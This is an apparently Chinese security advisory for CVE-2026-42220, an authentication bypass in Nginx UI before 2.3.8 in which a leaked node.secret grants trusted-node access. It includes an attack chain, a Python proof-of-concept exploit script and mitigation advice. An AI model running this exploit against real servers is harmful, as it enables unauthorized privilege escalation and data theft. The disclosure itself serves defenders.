IPBUF安全漏洞报告
English
CVE-2026-42220 CVSS 6.5 中危

CVE-2026-42220 Nginx UI认证绕过漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42220
漏洞类型
认证绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nginx UI

相关标签

认证绕过Nginx UI信息泄露权限提升

漏洞概述

Nginx UI在2.3.8版本之前存在安全漏洞。低权限认证用户可以通过调用GET /api/settings接口获取敏感配置信息,包括用于节点认证的node.secret。攻击者利用该泄露的密钥,可以通过X-Node-Secret头部或参数绕过正常的身份验证机制,以受信任节点的身份执行操作,最终提升权限或获取敏感数据。该问题已在2.3.8版本中修复。

技术细节

该漏洞的核心在于对敏感信息的保护不足以及认证逻辑的缺陷。首先,应用程序允许已认证的普通用户访问 /api/settings 端点,该端点返回包含 node.secret 的配置数据。其次,在认证中间件 AuthRequired() 中,系统设计了一个受信任节点路径,通过校验 HTTP 头部 X-Node-Secret 或查询参数 node_secret 来验证请求。如果该密钥匹配配置中的 node.secret,系统将直接信任该请求并将其关联到 init 用户,从而绕过了常规的身份校验流程。攻击者只需利用普通账号权限读取密钥,随后利用该密钥构造请求,即可伪装成受信任节点,获得高权限访问能力。

攻击链分析

STEP 1
信息收集
攻击者以普通用户身份登录,访问GET /api/settings接口。
STEP 2
密钥泄露
从返回的配置数据中提取敏感字段node.secret。
STEP 3
认证绕过
利用获取的node.secret构造HTTP请求头X-Node-Secret或参数node_secret,发送给受保护的API端点。
STEP 4
权限提升
服务器验证密钥通过,将请求视为受信任节点发起,并以init用户身份执行操作,从而获得高权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Step 1: Authenticate as a low-privileged user session = requests.Session() # Assume we have valid credentials for a low-priv user login_payload = {"username": "lowpriv_user", "password": "password"} # login_resp = session.post("http://target/api/login", json=login_payload) # Step 2: Retrieve sensitive configuration settings_url = "http://target/api/settings" resp = session.get(settings_url) if resp.status_code == 200: data = resp.json() # The secret is exposed in the settings response secret = data.get("node_secret") if secret: print(f"[+] Exploit: Found node.secret -> {secret}") # Step 3: Use the secret to bypass AuthRequired as a trusted node headers = { "X-Node-Secret": secret } # Accessing a protected endpoint (e.g., admin only) target_url = "http://target/api/admin/config" exploit_resp = requests.get(target_url, headers=headers) if exploit_resp.status_code == 200: print("[+] Exploit Successful: Bypassed authentication!") print(exploit_resp.text) else: print("[-] Exploit Failed") else: print("[-] node.secret not found in response") else: print("[-] Failed to retrieve settings")

影响范围

Nginx UI < 2.3.8

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应通过网络ACL限制对管理后台的访问来源,并检查日志确认是否有利用X-Node-Secret头部的异常请求记录。同时,可在应用网关处检测包含node_secret参数或X-Node-Secret头部的非内网请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表